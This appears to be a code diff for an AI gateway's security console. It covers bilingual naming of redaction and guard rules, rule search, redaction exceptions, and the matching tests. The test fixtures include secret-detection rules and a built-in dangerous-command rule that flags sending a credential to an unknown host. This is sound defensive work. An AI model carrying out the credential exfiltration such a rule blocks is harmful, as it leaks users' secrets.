+const rule = (over: Partial<SecurityRuleView>): SecurityRuleView => ({
+  id: 'groq-key',
+  custom: false,
+  name: 'Groq API key',
+  name_zh: 'Groq API 密钥',
+  about: 'Starts with `gsk_`',
+  about_zh: '`gsk_` 开头',
+  kind: 'ai-services',
+  matcher: { kind: 'builtin', check: 'groq-key' },
+  enabled: true,
+  on_by_default: true,
+  ...over,
+})
+
+const detail: GuardDetail = {
+  mode: 'observe',
+  rules: [rule({})],
+  kinds: [{ slug: 'ai-services', name: 'AI services', name_zh: 'AI 服务' }],
+}
+
+describe('rule text from the view', () => {
+  it('is shown in the console language, English where no Chinese is given', () => {
+    expect(viewName('zh', rule({}))).toBe('Groq API 密钥')
+    expect(viewName('en', rule({}))).toBe('Groq API key')
+    expect(viewName('zh', rule({ name_zh: undefined }))).toBe('Groq API key')
+    expect(ruleAbout('zh', rule({}))).toBe('`gsk_` 开头')
+    expect(ruleWhy('zh', rule({ why: 'Because', why_zh: '因为' }))).toBe('因为')
+    expect(kindName('zh', detail.kinds, 'ai-services')).toBe('AI 服务')
+    expect(kindName('en', detail.kinds, 'unknown')).toBe('unknown')
+  })
+
+  it('names a custom rule by its own name, and a log row by id', () => {
+    expect(viewName('zh', rule({ id: 'Codename', custom: true, name: 'Codename' }))).toBe('Codename')
+    expect(ruleName('zh', detail, 'groq-key', false)).toBe('Groq API 密钥')
+    expect(ruleName('zh', detail, 'gone-rule', false, 'Gone rule')).toBe('Gone rule')
+    expect(ruleName('zh', undefined, 'gone-rule', false)).toBe('gone-rule')
+  })
+})
diff --git a/web/src/routes/gateway/security/names.ts b/web/src/routes/gateway/security/names.ts
index 5f39f928..de39b19c 100644
--- a/web/src/routes/gateway/security/names.ts
+++ b/web/src/routes/gateway/security/names.ts
@@ -1,9 +1,19 @@
 import type { TFunction } from 'i18next';
-import type { Guard, GuardMode, RuleAction, RuleScope, SecurityRuleView } from '@/lib/security-types';
+import type {
+  Guard,
+  GuardDetail,
+  GuardMode,
+  RuleAction,
+  RuleScope,
+  SecurityKindView,
+  SecurityRuleView,
+} from '@/lib/security-types';
 
-// Names on the security page. Built-in rules are looked up by id; a rule
-// the server ships before the console has a name for it falls back to the
-// server's English. A custom rule's id is the name its author gave it.
+// Names on the security page. A built-in rule's name, reason and
+// description, and each group's name, come with the rule view in both
+// languages (thinkwatch-core writes them once for both products); the
+// console keeps no table of its own. A custom rule's id is the name its
+// author gave it.
 
 export function guardName(t: TFunction, guard: Guard): string {
   return t(`contentSecurity.guard.${guard}.name`);
@@ -19,45 +29,55 @@ export function scopeName(t: TFunction, scope: RuleScope): string {
   return t(`contentSecurity.scope.${scope}`);
 }
 
+/** Whether the console is in Chinese: rule text comes from the server in both languages. */
+function zh(lang: string): boolean {
+  return lang.startsWith('zh');
+}
+
+/** The Chinese text in Chinese when there is one, else the English. */
+function pick(lang: string, en: string | undefined, cn: string | undefined): string {
+  return (zh(lang) && cn ? cn : en) ?? '';
+}
+
+/** A rule's name as the view gives it. A custom rule's id is the name its author gave it. */
+export function viewName(lang: string, r: SecurityRuleView): string {
+  if (r.custom) return r.id;
+  return pick(lang, r.name, r.name_zh) || r.id;
+}
+
+/**
+ * A rule's name from its id, for a log row or a trial hit: looked up in the
+ * guard's view. A rule the view does not list (since removed) shows
+ * `fallback`, or its id.
+ */
 export function ruleName(
-  t: TFunction,
-  guard: Guard,
+  lang: string,
+  detail: GuardDetail | undefined,
   id: string,
   custom: boolean,
   fallback?: string,
 ): string {
   if (custom) return id;
-  const defaultValue = fallback ?? id;
-  switch (guard) {
-    case 'redact':
-      return t(`contentSecurity.redactRule.${id}`, { defaultValue });
-    case 'inspect_tools':
-      return t(`contentSecurity.toolRule.${id}.name`, { defaultValue });
-    case 'content':
-      return t(`contentSecurity.contentRule.${id}`, { defaultValue });
-  }
+  const r = detail?.rules.find((r) => !r.custom && r.id === id);
+  return r ? viewName(lang, r) : (fallback ?? id);
 }
 
-export function viewName(t: TFunction, guard: Guard, r: SecurityRuleView): string {
-  return ruleName(t, guard, r.id, r.custom, r.name);
+/** Why a built-in rule is worth a look. Empty for rules that carry no reason. */
+export function ruleWhy(lang: string, r: SecurityRuleView): string {
+  if (r.custom) return '';
+  return pick(lang, r.why, r.why_zh);
 }
 
-/** Why a built-in rule is worth a look. Empty for rules that carry no reason. */
-export function ruleWhy(t: TFunction, guard: Guard, r: SecurityRuleView): string {
-  if (r.custom || !r.why) return '';
-  switch (guard) {
-    case 'inspect_tools':
-      return t(`contentSecurity.toolRule.${r.id}.why`, { defaultValue: r.why });
-    case 'content':
-      return t(`contentSecurity.contentWhy.${r.id}`, { defaultValue: r.why });
-    default:
-      return r.why;
-  }
+/** What a built-in redaction rule finds, as a sentence; backticks mark code. Empty elsewhere. */
+export function ruleAbout(lang: string, r: SecurityRuleView): string {
+  if (r.custom) return '';
+  return pick(lang, r.about, r.about_zh);
 }
 
-/** A rule group's heading. */
-export function kindName(t: TFunction, kind: string): string {
-  return t(`contentSecurity.kind.${kind}`, { defaultValue: kind });
+/** A rule group's heading, from the guard's view. */
+export function kindName(lang: string, kinds: SecurityKindView[] | undefined, slug: string): string {
+  const k = kinds?.find((k) => k.slug === slug);
+  return k ? pick(lang, k.name, k.name_zh) : slug;
 }
 
 export function actionName(t: TFunction, action: RuleAction): string {
diff --git a/web/src/routes/gateway/security/policy.test.ts b/web/src/routes/gateway/security/policy.test.ts
index 21930648..b805d251 100644
--- a/web/src/routes/gateway/security/policy.test.ts
+++ b/web/src/routes/gateway/security/policy.test.ts
@@ -297,7 +297,7 @@ describe('the restructured guards', () => {
     const d: GuardDetail = {
       mode: 'enforce',
       rules: [
-        builtin({ id: 'email', kind: 'personal', matcher: { kind: 'email' }, action: 'record', default_action: 'placeholder' }),
+        builtin({ id: 'email', kind: 'contact', matcher: { kind: 'email' }, action: 'record', default_action: 'placeholder' }),
         builtin({ id: 'jwt', kind: 'jwt', matcher: { kind: 'jwt' }, action: 'placeholder', default_action: 'placeholder' }),
       ],
     }
diff --git a/web/src/routes/gateway/security/policy.ts b/web/src/routes/gateway/security/policy.ts
index 84dee9c2..b0f77897 100644
--- a/web/src/routes/gateway/security/policy.ts
+++ b/web/src/routes/gateway/security/policy.ts
@@ -289,15 +289,44 @@ export function groupState(rules: readonly SecurityRuleView[]): boolean | 'indet
   return on === 0 ? false : on === rules.length ? true : 'indeterminate';
 }
 
+/** The literals a built-in matcher shows: prefixes, name endings, field names, domain suffixes. */
+function literalsOf(m: Matcher): string[] {
+  switch (m.kind) {
+    case 'prefix':
+      return [m.prefix];
+    case 'prefixes':
+      return m.prefixes.map((p) => p.prefix);
+    case 'assignment':
+      return m.suffixes;
+    case 'labeled':
+      return m.names;
+    case 'domain-suffix':
+      return m.suffixes;
+    default:
+      return [];
+  }
+}
+
 /**
- * Whether a rule matches a search: its name (as shown, or its id) or what it
- * matches, ignoring case. An empty search matches every rule.
+ * Whether a rule matches a search: its name (as shown, in either language,
+ * or its id) or what it matches — a custom rule's pattern, a built-in
+ * rule's description, prefixes or field names — ignoring case. An empty
+ * search matches every rule.
  */
 export function matchesSearch(r: SecurityRuleView, shownName: string, query: string): boolean {
   const q = query.trim().toLowerCase();
   if (!q) return true;
   const pattern = patternOf(r)?.pattern ?? '';
-  return [shownName, r.id, r.name, pattern].some((s) => s.toLowerCase().includes(q));
+  return [
+    shownName,
+    r.id,
+    r.name,
+    r.name_zh ?? '',
+    r.about ?? '',
+    r.about_zh ?? '',
+    pattern,
+    ...literalsOf(r.matcher),
+  ].some((s) => s.toLowerCase().includes(q));
 }
 
 /**
diff --git a/web/src/routes/gateway/security/rule-dialogs.tsx b/web/src/routes/gateway/security/rule-dialogs.tsx
index 9d7d451c..f3b64058 100644
--- a/web/src/routes/gateway/security/rule-dialogs.tsx
+++ b/web/src/routes/gateway/security/rule-dialogs.tsx
@@ -30,16 +30,18 @@ import {
   DEFAULT_REPLACEMENT,
   type ContentMatch,
   type Guard,
+  type GuardDetail,
   type GuardMode,
   type RuleAction,
   type RuleScope,
+  type SecurityKindView,
   type SecurityRuleView,
   type SecurityTestHit,
   type SecurityTestRequest,
 } from '@/lib/security-types';
 import { Highlight, type Mark } from './highlight';
-import { Code, MatcherText } from './matcher-text';
-import { actionName, actionTone, kindName, ruleName, ruleWhy, scopeName, viewName } from './names';
+import { About, Code, MatcherText } from './matcher-text';
+import { actionName, actionTone, kindName, ruleAbout, ruleName, ruleWhy, scopeName, viewName } from './names';
 import {
   ACTIONS,
   DEFAULT_LABEL,
@@ -179,8 +181,11 @@ function TrialBox({ trial }: { trial: Trial }) {
     return <p className="text-xs text-destructive">{trial.error}</p>;
   }
   const result = trial.state === 'done' ? trial.result : trial.last;
-  const hits = result?.hits ?? [];
-  const tone = (h: SecurityTestHit) => toneOf(h.action);
+  const all = result?.hits ?? [];
+  // An exception value is marked, but it is not a hit: nothing is done to it.
+  const hits = all.filter((h) => !h.excepted);
+  const excepted = all.length - hits.length;
+  const tone = (h: SecurityTestHit): Mark['tone'] => (h.excepted ? 'muted' : toneOf(h.action));
   const bad = hits.some((h) => tone(h) === 'bad');
   // Dangerous commands send nothing and refuse nothing; the server
   // answers null and false there.
@@ -203,12 +208,17 @@ function TrialBox({ trial }: { trial: Trial }) {
             ? t('contentSecurity.dialog.hits', { count: hits.length })
             : t('contentSecurity.dialog.noHit'))}
       </p>
-      {result && hits.length > 0 && (
+      {result && all.length > 0 && (
         <Highlight
           text={result.sample}
-          marks={hits.map((h) => ({ start: h.start, end: h.end, tone: tone(h) }))}
+          marks={all.map((h) => ({ start: h.start, end: h.end, tone: tone(h) }))}
         />
       )}
+      {excepted > 0 && (
+        <p className="text-xs text-muted-foreground">
+          {t('contentSecurity.exceptions.inTrial', { count: excepted })}
+        </p>
+      )}
       {refused && <p className="text-xs text-destructive">{t('contentSecurity.dialog.refused')}</p>}
       {!refused && result && result.output !== null && (
         <div className="space-y-1 border-t pt-2">
@@ -653,6 +663,7 @@ export function BuiltinRuleDialog({
   guard,
   mode,
   rule,
+  kinds,
   canWrite,
   onClose,
   onCopy,
@@ -661,20 +672,24 @@ export function BuiltinRuleDialog({
   guard: Guard;
   mode: GuardMode;
   rule: SecurityRuleView;
+  /** The guard's groups, to name the rule's. */
+  kinds: SecurityKindView[];
   canWrite: boolean;
   onClose: () => void;
   /** Absent where no equivalent custom rule can be written: checks implemented in code. */
   onCopy?: () => void;
   onSaveAction: (action: RuleAction) => Promise<void>;
 }) {
-  const { t } = useTranslation();
+  const { t, i18n } = useTranslation();
+  const lang = i18n.language;
   const initial = rule.action ?? 'record';
   const [action, setAction] = useState<RuleAction>(initial);
   const [sample, setSample] = useState('');
   const [saving, setSaving] = useState(false);
   const [error, setError] = useState<string | null>(null);
   const trial = useTrial(guard, { sample, rule: rule.id, action });
-  const why = ruleWhy(t, guard, rule);
+  const why = ruleWhy(lang, rule);
+  const about = ruleAbout(lang, rule);
   const changed = action !== initial;
 
   async function save() {
@@ -693,18 +708,18 @@ export function BuiltinRuleDialog({
       <DialogContent className="sm:max-w-xl">
         <DialogHeader>
           <DialogTitle className="flex items-center gap-2">
-            {viewName(t, guard, rule)}
+            {viewName(lang, rule)}
             <Badge variant="secondary">{t('contentSecurity.builtinGroup')}</Badge>
           </DialogTitle>
           <DialogDescription>
-            {why || t('contentSecurity.dialog.category', { kind: kindName(t, rule.kind) })}
+            {why || t('contentSecurity.dialog.category', { kind: kindName(lang, kinds, rule.kind) })}
           </DialogDescription>
         </DialogHeader>
 
         <div className="space-y-4">
           <Field label={t('contentSecurity.col.match')}>
             <div className="rounded-md border bg-muted/30 px-3 py-2 text-sm leading-relaxed">
-              <MatcherText m={rule.matcher} />
+              {about ? <About text={about} /> : <MatcherText m={rule.matcher} />}
             </div>
           </Field>
 
@@ -797,8 +812,18 @@ export function BuiltinRuleDialog({
  * processing, and for the content filter whether the request would be
  * refused. A content sample is tried as a request or as an answer.
  */
-export function TestDialog({ guard, onClose }: { guard: Guard; onClose: () => void }) {
-  const { t } = useTranslation();
+export function TestDialog({
+  guard,
+  detail,
+  onClose,
+}: {
+  guard: Guard;
+  /** The guard's view, to name the rules that matched. */
+  detail: GuardDetail | undefined;
+  onClose: () => void;
+}) {
+  const { t, i18n } = useTranslation();
+  const lang = i18n.language;
   const [sample, setSample] = useState('');
   const [side, setSide] = useState<RuleScope>('request');
   const content = guard === 'content';
@@ -848,19 +873,25 @@ export function TestDialog({ guard, onClose }: { guard: Guard; onClose: () => vo
                     {hits.map((h, i) => (
                       <TableRow key={`${h.rule}:${h.start}:${i}`}>
                         <TableCell className="truncate">
-                          {ruleName(t, guard, h.rule, h.custom)}
+                          {ruleName(lang, detail, h.rule, h.custom)}
                           {h.custom && (
                             <Badge variant="outline" className="ml-1.5">
-                              {kindName(t, 'custom')}
+                              {kindName(lang, detail?.kinds, 'custom')}
                             </Badge>
                           )}
                         </TableCell>
                         <TableCell className="truncate font-mono text-xs text-muted-foreground">
                           {h.excerpt}
                         </TableCell>
-                        <TableCell className={actionTone(h.action)}>
-                          {actionName(t, h.action ?? 'record')}
-                        </TableCell>
+                        {h.excepted ? (
+                          <TableCell className="text-muted-foreground">
+                            {t('contentSecurity.exceptions.excepted')}
+                          </TableCell>
+                        ) : (
+                          <TableCell className={actionTone(h.action)}>
+                            {actionName(t, h.action ?? 'record')}
+                          </TableCell>
+                        )}
                       </TableRow>
                     ))}
                   </TableBody>
diff --git a/web/src/routes/gateway/security/security.test.tsx b/web/src/routes/gateway/security/security.test.tsx
index 87bc0baa..45991673 100644
--- a/web/src/routes/gateway/security/security.test.tsx
+++ b/web/src/routes/gateway/security/security.test.tsx
@@ -9,24 +9,58 @@ import { GatewaySecurityPage } from '.'
 vi.mock('@/lib/api', () => ({
   api: vi.fn(),
   apiPatch: vi.fn(),
+  apiPost: vi.fn(),
+  apiDelete: vi.fn(),
   hasPermission: vi.fn(() => true),
+  ApiError: class ApiError extends Error {
+    status: number
+    constructor(message: string, status: number) {
+      super(message)
+      this.status = status
+    }
+  },
 }))
 
 vi.mock('@tanstack/react-router', () => ({
   Link: ({ children }: { children: ReactNode }) => <a href="#trace">{children}</a>,
 }))
 
-import { api, apiPatch, hasPermission } from '@/lib/api'
+import { api, apiDelete, apiPatch, apiPost, hasPermission } from '@/lib/api'
+
+const exception = {
+  sha256: 'a'.repeat(64),
+  masked: 'sk-an…AAAA',
+  rule: 'anthropic-api-key',
+  added_at: Date.UTC(2026, 9, 29, 8),
+}
+let exceptions: { items: (typeof exception)[]; max: number } = { items: [], max: 500 }
 
 const detail = (): SecurityDetail => ({
   redact: {
     mode: 'observe',
     rules: [
+      {
+        id: 'thinkwatch-saved-secret',
+        custom: false,
+        name: 'Key saved in ThinkWatch',
+        name_zh: 'ThinkWatch 中保存的密钥',
+        about: 'The provider API keys saved in ThinkWatch, by value, whatever their format',
+        about_zh: '按值识别 ThinkWatch 中保存的供应商 API 密钥，与格式无关',
+        kind: 'saved',
+        matcher: { kind: 'saved' },
+        enabled: true,
+        on_by_default: true,
+        action: 'placeholder',
+        default_action: 'placeholder',
+        label: 'SECRET',
+      },
       {
         id: 'anthropic-api-key',
         custom: false,
         name: 'Anthropic API key',
-        kind: 'api-keys',
+        name_zh: 'Anthropic API 密钥',
+        about: 'Starts with `sk-ant-`, followed by at least 20 characters',
+        kind: 'ai-services',
         matcher: { kind: 'prefix', prefix: 'sk-ant-', min_tail: 20 },
         enabled: true,
         on_by_default: true,
@@ -38,7 +72,9 @@ const detail = (): SecurityDetail => ({
         id: 'email',
         custom: false,
         name: 'Email address',
-        kind: 'personal',
+        name_zh: '邮箱地址',
+        about: 'Email addresses, such as `name@example.com`',
+        kind: 'contact',
         matcher: { kind: 'email' },
         enabled: false,
         on_by_default: false,
@@ -47,6 +83,12 @@ const detail = (): SecurityDetail => ({
         label: 'EMAIL',
       },
     ],
+    kinds: [
+      { slug: 'saved', name: 'Keys saved in ThinkWatch', name_zh: 'ThinkWatch 中保存的密钥' },
+      { slug: 'ai-services', name: 'AI services', name_zh: 'AI 服务' },
+      { slug: 'contact', name: 'Contact details', name_zh: '联系方式' },
+      { slug: 'custom', name: 'Custom', name_zh: '自定义' },
+    ],
   },
   inspect_tools: {
     mode: 'enforce',
@@ -68,6 +110,7 @@ const detail = (): SecurityDetail => ({
         custom: false,
         name: 'Send a credential to an unknown host',
         why: "Sends a credential to a host that is neither local nor the credential's own provider",
+        why_zh: '将凭据发往既非本机、也不是该凭据服务商的主机',
         kind: 'command',
         matcher: { kind: 'builtin', check: 'credential-to-network' },
         enabled: true,
@@ -76,6 +119,10 @@ const detail = (): SecurityDetail => ({
         default_action: 'cut',
       },
     ],
+    kinds: [
+      { slug: 'command', name: 'Built-in', name_zh: '内置' },
+      { slug: 'custom', name: 'Custom', name_zh: '自定义' },
+    ],
   },
   content: {
     mode: 'observe',
@@ -94,11 +141,15 @@ const detail = (): SecurityDetail => ({
         scope: ['request'],
       },
     ],
+    kinds: [
+      { slug: 'invisible', name: 'Hidden characters', name_zh: '隐藏字符' },
+      { slug: 'custom', name: 'Custom', name_zh: '自定义' },
+    ],
   },
 })
 
 const events = {
-  total: 2,
+  total: 3,
   items: [
     {
       id: 'e1',
@@ -123,6 +174,20 @@ const events = {
       created_at: '2026-10-12T07:00:00Z',
       detail: { trace_id: 't2', rule: 'anthropic-api-key', custom: false, outcome: 'recorded', mode: 'observe' },
     },
+    {
+      id: 'e3',
+      action: 'gateway.redaction_replaced',
+      api_key_id: 'k1',
+      created_at: '2026-10-12T06:00:00Z',
+      detail: {
+        trace_id: 't3',
+        rule: 'thinkwatch-saved-secret',
+        custom: false,
+        outcome: 'replaced',
+        mode: 'enforce',
+        sources: [{ kind: 'upstream-key', name: 'DeepSeek' }],
+      },
+    },
   ],
 }
 
@@ -131,11 +196,13 @@ beforeEach(() => {
   vi.mocked(hasPermission).mockReturnValue(true)
   vi.mocked(api).mockImplementation(async (url: string) => {
     if (url === '/api/admin/security') return detail()
+    if (url === '/api/admin/security/redact/exceptions') return exceptions
     if (url.startsWith('/api/audit/logs?')) return events
     if (url.endsWith('/test')) return { hits: [], output: null, refused: false }
     throw new Error(`unexpected request: ${url}`)
   })
   vi.mocked(apiPatch).mockResolvedValue({})
+  exceptions = { items: [], max: 500 }
 })
 
 describe('GatewaySecurityPage', () => {
@@ -145,16 +212,22 @@ describe('GatewaySecurityPage', () => {
 
     await user.click(await screen.findByRole('tab', { name: /Secrets & privacy/ }))
     expect(await screen.findByText('Anthropic API key')).toBeInTheDocument()
-    expect(screen.getByText('API keys')).toBeInTheDocument()
-    expect(screen.getByText('Personal information')).toBeInTheDocument()
+    // Groups in the server's order, saved keys first.
+    const groups = ['Keys saved in ThinkWatch', 'AI services', 'Contact details']
+    expect(groups.map((g) => screen.getByText(g).compareDocumentPosition(screen.getByText('Anthropic API key')))).toEqual([
+      Node.DOCUMENT_POSITION_FOLLOWING,
+      Node.DOCUMENT_POSITION_FOLLOWING,
+      Node.DOCUMENT_POSITION_PRECEDING,
+    ])
+    expect(screen.getByText('The provider API keys saved in ThinkWatch, by value, whatever their format')).toBeInTheDocument()
     expect(screen.getByText('<<TW_EMAIL_1>>')).toBeInTheDocument()
     // The same three states on every guard.
     const modes = screen.getByRole('radiogroup', { name: 'Secrets & privacy mode' })
     expect(within(modes).getAllByRole('radio').map((r) => r.textContent)).toEqual(['On', 'Monitor', 'Off'])
     expect(within(modes).getByRole('radio', { name: 'Monitor' })).toBeChecked()
-    expect(screen.getByText('1 of 2 rules on.')).toBeInTheDocument()
+    expect(screen.getByText('2 of 3 rules on.')).toBeInTheDocument()
     // Monitoring: the action stays as set, and says that only recording happens.
-    expect(screen.getAllByText('Monitoring')).toHaveLength(1)
+    expect(screen.getAllByText('Monitoring')).toHaveLength(2)
   })
 
   it('opens on the log, which reads the guard events from the audit log', async () => {
@@ -166,6 +239,9 @@ describe('GatewaySecurityPage', () => {
     // A built-in rule is named; a monitor-mode hit says so.
     expect(screen.getByText('Anthropic API key')).toBeInTheDocument()
     expect(screen.getByText('Monitoring')).toBeInTheDocument()
+    // A saved key is named by where it came from, never by its value.
+    expect(screen.getByText('Key saved in ThinkWatch')).toBeInTheDocument()
+    expect(screen.getByText('API key of provider DeepSeek')).toBeInTheDocument()
     const call = vi.mocked(api).mock.calls.find(([url]) => String(url).startsWith('/api/audit/logs?'))
     const params = new URLSearchParams(String(call?.[0]).split('?')[1])
     expect(params.get('action')?.split(',')).toContain('gateway.content_replaced')
@@ -185,7 +261,7 @@ describe('GatewaySecurityPage', () => {
     renderWithQueryClient(<GatewaySecurityPage />)
 
     await user.click(await screen.findByRole('tab', { name: /Secrets & privacy/ }))
-    await user.click(await screen.findByRole('checkbox', { name: 'Turn every rule in "Personal information" on or off' }))
+    await user.click(await screen.findByRole('checkbox', { name: 'Turn every rule in "Contact details" on or off' }))
     await waitFor(() =>
       expect(apiPatch).toHaveBeenCalledWith('/api/admin/settings', {
         settings: { 'security.redact': { mode: 'observe', enable: ['email'] } },
@@ -349,12 +425,15 @@ describe('GatewaySecurityPage', () => {
     renderWithQueryClient(<GatewaySecurityPage />)
 
     await user.click(await screen.findByRole('tab', { name: /Dangerous commands/ }))
-    const check = "A credential sent to a host other than this machine and the credential's own provider"
-    expect(await screen.findByText(check)).toBeInTheDocument()
+    // What it is for is the rule's reason; what it matches, a built-in check.
+    const why = "Sends a credential to a host that is neither local nor the credential's own provider"
+    expect(await screen.findByText(why)).toBeInTheDocument()
+    expect(screen.getAllByText('Built-in check').length).toBeGreaterThan(0)
 
     await user.click(screen.getByText('Send a credential to an unknown host'))
     const dialog = await screen.findByRole('dialog')
-    expect(within(dialog).getByText(check)).toBeInTheDocument()
+    expect(within(dialog).getByText(why)).toBeInTheDocument()
+    expect(within(dialog).getByText('Built-in check')).toBeInTheDocument()
     expect(within(dialog).queryByRole('button', { name: 'Copy as a custom rule' })).not.toBeInTheDocument()
     await user.keyboard('{Escape}')
 
@@ -473,9 +552,79 @@ describe('GatewaySecurityPage', () => {
     expect(await screen.findByRole('switch', { name: 'Turn on "Email address"' })).toBeDisabled()
     expect(screen.getByRole('button', { name: 'New rule' })).toBeDisabled()
     expect(screen.getByRole('radio', { name: 'On' })).toBeDisabled()
-    expect(screen.getByRole('checkbox', { name: 'Turn every rule in "API keys" on or off' })).toBeDisabled()
+    expect(screen.getByRole('checkbox', { name: 'Turn every rule in "AI services" on or off' })).toBeDisabled()
     // The action is said, not offered.
     expect(screen.queryByRole('combobox')).not.toBeInTheDocument()
     expect(screen.getByRole('button', { name: 'Test…' })).toBeEnabled()
   })
+  it('lists the exception values under the redaction rules, and adds and removes one', async () => {
+    const user = userEvent.setup()
+    vi.mocked(apiPost).mockResolvedValue({ ...exception, sha256: 'b'.repeat(64), masked: 'ghp_B…BBBB' })
+    vi.mocked(apiDelete).mockResolvedValue(exception)
+    exceptions = { items: [exception], max: 500 }
+    renderWithQueryClient(<GatewaySecurityPage />)
+
+    await user.click(await screen.findByRole('tab', { name: /Secrets & privacy/ }))
+    expect(await screen.findByText('Exceptions · 1')).toBeInTheDocument()
+    expect(screen.getByText('sk-an…AAAA')).toBeInTheDocument()
+    // The rule is named from the rule view.
+    expect(screen.getAllByText('Anthropic API key').length).toBeGreaterThan(1)
+
+    await user.click(screen.getByRole('button', { name: 'Add exception' }))
+    const dialog = await screen.findByRole('dialog')
+    expect(within(dialog).getByText(/will no longer be replaced, nor recorded/)).toBeInTheDocument()
+    await user.type(within(dialog).getByLabelText('Value'), 'ghp_test')
+    await user.click(within(dialog).getByRole('button', { name: 'Add exception' }))
+    await waitFor(() =>
+      expect(apiPost).toHaveBeenCalledWith('/api/admin/security/redact/exceptions', { value: 'ghp_test' }),
+    )
+
+    await user.click(screen.getByRole('button', { name: 'Remove' }))
+    const confirm = await screen.findByRole('dialog')
+    await user.click(within(confirm).getByRole('button', { name: 'Remove' }))
+    await waitFor(() =>
+      expect(apiDelete).toHaveBeenCalledWith(`/api/admin/security/redact/exceptions/${'a'.repeat(64)}`),
+    )
+  })
+
+  it('offers no adding at the cap, and one line when there are none', async () => {
+    const user = userEvent.setup()
+    exceptions = { items: [exception], max: 1 }
+    const { unmount } = renderWithQueryClient(<GatewaySecurityPage />)
+    await user.click(await screen.findByRole('tab', { name: /Secrets & privacy/ }))
+    expect(await screen.findByText(/There are 1 exceptions, the most there may be/)).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'Add exception' })).toBeDisabled()
+    unmount()
+
+    exceptions = { items: [], max: 500 }
+    renderWithQueryClient(<GatewaySecurityPage />)
+    await user.click(await screen.findByRole('tab', { name: /Secrets & privacy/ }))
+    expect(await screen.findByText(/^No exceptions\./)).toBeInTheDocument()
+    expect(screen.queryByText(/^Exceptions ·/)).not.toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'Add exception' })).toBeEnabled()
+  })
+
+  it('says in the trial that an exception value is left as is', async () => {
+    const user = userEvent.setup()
+    vi.mocked(api).mockImplementation(async (url: string) => {
+      if (url === '/api/admin/security') return detail()
+      if (url === '/api/admin/security/redact/exceptions') return exceptions
+      if (url.startsWith('/api/audit/logs?')) return events
+      if (url.endsWith('/test'))
+        return {
+          hits: [{ rule: 'anthropic-api-key', custom: false, start: 4, end: 14, excerpt: 'sk-an…AAAA', excepted: true }],
+          output: null,
+          refused: false,
+        }
+      throw new Error(`unexpected request: ${url}`)
+    })
+    renderWithQueryClient(<GatewaySecurityPage />)
+    await user.click(await screen.findByRole('tab', { name: /Secrets & privacy/ }))
+    await user.click(await screen.findByRole('button', { name: 'Test…' }))
+    const dialog = await screen.findByRole('dialog')
+    await user.type(within(dialog).getByLabelText('Test text'), 'key sk-ant-xyz')
+    expect(await within(dialog).findByText('Exception, left as is')).toBeInTheDocument()
+    expect(within(dialog).getByText('Exceptions left as is: 1')).toBeInTheDocument()
+    expect(within(dialog).getByText('No match')).toBeInTheDocument()
+  })
 })